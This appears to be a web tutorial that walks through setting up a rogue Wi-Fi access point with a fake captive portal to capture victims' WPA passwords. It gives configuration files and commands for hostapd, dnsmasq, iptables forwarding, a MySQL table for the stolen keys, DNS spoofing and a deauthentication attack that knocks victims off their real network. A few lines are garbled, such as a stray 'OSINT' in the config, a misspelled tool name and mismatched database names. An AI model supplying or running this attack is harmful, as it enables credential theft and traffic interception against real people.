Techzone/Captive Portal

Captive Portal

3 min readArticle

Dynamic Captive Portal do it all on your own! there are a lot of tools that can make this attack with all the hard work but remember in cyber security it is always great to know how to do it all on your own (I’ll show you also how to do it with those tools to make the attack faster). Let's divide this attack into 4 steps from preparing the environment to launching the attack. Step 1:Preparing the environment. like always will start with updating and upgrading our Linux machine.

shell
              apt-get update       &&       apt-get upgrade

then install our required tools for this attack including Hostapd, Dnsmasq, and apache2. Hostapd will help us host our fake AP. Dnsmasq will work as a DHCP server and will handle DNS requests also. and we will use apache2 to share our fake webpage on the local network.

shell
apt-get install hostapd dnsmasq apache2

then set up your NIC in monitor mode as we learned.

shell
airmon-ng start wlan0

then make a new directory in our home directory with FAP name (Fake Access Point) you can call it whatever you want jump into it and create the Hostapd file

shell
mkdir ~/fap && cd ~/fap && nano hostapd.conf

into this file you should paste this configuration and edit it like you want

shell
# Instructions for hostapd.conf: 

interface=[INTERFACE NAME]
driver=nl80211
ssid=[WiFi NAME]
hw_mode=g
channel=8
macaddr_acl=0OSINT
ignore_broadcast_ssid=0

the same thing with DNS configuration

shell
nano dnsmasq.conf

# Instructions for dnsmasq.conf: 

interface=[INTERFACE NAME]
dhcp-range=192.168.1.2, 192.168.1.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.1.1
dhcp-option=6, 192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

set up the routing table and gateway (edit the IP address like your local IP)

shell
ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

internet access: this step is critical if you want the victim to have internet access if not just skip this step.

shell
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0mon -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Step 2: MySQL database. first, start SQL service. in one simple command.

shell
service mysql start

after starting the service start the program simply by typing the program name (MySQL). then create a new database called FAP.

shell
create database fap <database name>;

then create a username and assign it to the database so the user can write into it in one simple command.

shell
create user fapuser <USERNAME>;

then grand privileges to the user and assign him a password.

shell
grant all on rogueap.* to 'fapuser'@'localhost' identified by 'fappassword';

use the database.

shell
use fap;

create a data table to store the password entered by the victim.

shell
create table wpa_keys(password1 varchar(40), password2 varchar(40));

change the encoding to “utf8” so it will be readable

shell
ALTER DATABASE fap CHARACTER SET 'utf8';

and this command will show us only the password stored in the database(after the victim entered the WiFi password in the HTML webpage)

shell
select * from wpa_keys;

Step 3: Captiv portal setup. then move the template to this directory then unzipp it inside of the directory using this command →

shell
mv ~/Downloads/fap.zip /var/www/html
shell
unzip fap.zip

then start the apache2 server:

shell
service apache2 start

Step 4: Launch the attack. first to make sure everything is managed right in the attack we should split the screen into 5 windows. Untitled.png Window 1: SQL server. start the program by simply typing “mysql”

shell
mysql

Window2: Hostapd. launch our fake AP.

shell
hostapd hostapd.conf

Window3:Dnsmasq. start Dnsmasq to serve us as a DHCP and a DNS server.

shell
dnsmasq -C dnsmasq.conf -d

Window4: Redirect the traffic. now we need to redirect the traffic to us in order to do this we will use Dnsspoof.

shell
dnsspoof -i wlan0mon

Window5: Deauth attack. simply disconnect the victim from the actual AP as we learned before. see Untitled.

shell
airoplay-ng --deauth <number of authentication message> -a <the router MAC address> -c <the client MAC address> <if its 5GHz network then add -D> <finally the name of your adapter NIC>
techzonesite.comUnlock Your IT Potential